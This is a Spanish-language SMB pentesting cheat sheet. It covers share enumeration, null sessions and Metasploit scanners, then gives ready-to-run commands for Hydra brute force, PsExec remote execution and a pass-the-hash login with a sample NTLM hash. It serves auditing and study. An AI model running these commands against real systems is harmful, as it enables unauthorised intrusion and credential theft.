Appearance
SMB (Server Message Block)
El servicio SMB permite el intercambio de archivos, impresoras y comunicación entre procesos (IPC). Es uno de los vectores más comunes en entornos Windows.
Puertos:
139/TCP: NetBIOS sobre TCP.445/TCP: SMB directo sobre TCP (moderno).
📂 Interactuando con el Servicio (Post-Acceso)
Una vez que posees credenciales o acceso anónimo, estas son las formas de gestionar archivos y recursos.
Listar y Conectar
bash
# Listar recursos compartidos con un usuario específico
smbclient -L //<TARGET_IP>/ -U <USER>
# Conectar a un recurso compartido (ej: Public)
smbclient //<TARGET_IP>/Public -U <USER>Comandos dentro de la Shell de smbclient
Una vez dentro (verás el prompt smb: \>), puedes usar comandos similares a FTP:
ls: Listar archivos del directorio actual.cd <carpeta>: Cambiar de directorio.get <archivo>: Descargar un archivo a tu máquina local.put <archivo>: Subir un archivo desde tu máquina al servidor.mask ""yrecurse ON: Configuración para descargar carpetas enteras.prompt OFF: Desactiva la confirmación para cada archivo.mget *: Descargar todos los archivos del directorio.
Montar un recurso en Linux
Para trabajar con los archivos como si estuvieran en tu propio disco:
bash
sudo mount -t cifs -o username=<USER> //<TARGET_IP>/<SHARE> /mnt/smb_localTodo esto lo podremos hacer cuando tenemos credenciales de acceso, si no lo tenemos, debemos de conseguirlas.
🔍 Enumeración Inicial (Recon)
La enumeración busca identificar versiones vulnerables, recursos compartidos sin contraseña o nombres de usuario.
Herramientas Automatizadas
bash
# Enumeración completa (usuarios, grupos, recursos, políticas)
enum4linux -a <TARGET_IP>
# Alternativa moderna (más rápida y visual)
crackmapexec smb <TARGET_IP> --shares -u '' -p ''Comprobación de Acceso Anónimo (Null Session)
Si el servidor permite sesiones nulas, puedes listar recursos sin credenciales.
bash
# Listar recursos compartidos
smbclient -N -L //<TARGET_IP>/
# Intentar conectar a un recurso específico
smbclient //<TARGET_IP>/<SHARE_NAME> -NMódulos de Metasploit Útiles
auxiliary/scanner/smb/smb_version: Detecta la versión exacta del SO y SMB.auxiliary/scanner/smb/smb_enumusers: Extrae usuarios mediante RPC.auxiliary/scanner/smb/smb_enumshares: Lista recursos compartidos y permisos.
🚀 Explotación y Post-Explotación
Fuerza Bruta
Si no hay bloqueo de cuenta configurado, se puede intentar obtener credenciales por fuerza bruta.
bash
# Usando Hydra
hydra -L users.txt -P passwords.txt smb://<TARGET_IP>
# Usando Metasploit (más sigiloso)
use auxiliary/scanner/smb/smb_loginMovimiento Lateral (Obtención de Shell)
Si tienes credenciales de Administrador (o un hash), puedes ejecutar comandos de forma remota.
- PsExec (SMB Directo): Requiere acceso al recurso
ADMIN$.
bash
# Con herramientas de Impacket (muy recomendado)
impacket-psexec domain/user:password@<TARGET_IP>- Metasploit:
exploit/windows/smb/psexec(Sube un ejecutable malicioso al share).
Ataque Pass-the-Hash (PtH)
Si tienes el hash NTLM pero no la contraseña en texto claro.
bash
# Formato: Usuario%LM:NTLM
pth-smbclient -U admin%aad3b435b51404eeaad3b435b51404ee:8846f7eaee2d5c322c596375ec2d32dd //<TARGET_IP>/C$✅ Checklist de Auditoría SMB
🔍 Identificar versión y SO
🔓 Verificar Null Session (IPC$)
📂 Listar Shares y permisos
👥 Enumerar usuarios (RID/RPC)
🛡️ Comprobar SMB Signing
🦠 Buscar exploits
🔑 Fuerza bruta (smb_login)
🚀 RCE (PsExec / Shell)
💾 Buscar archivos sensibles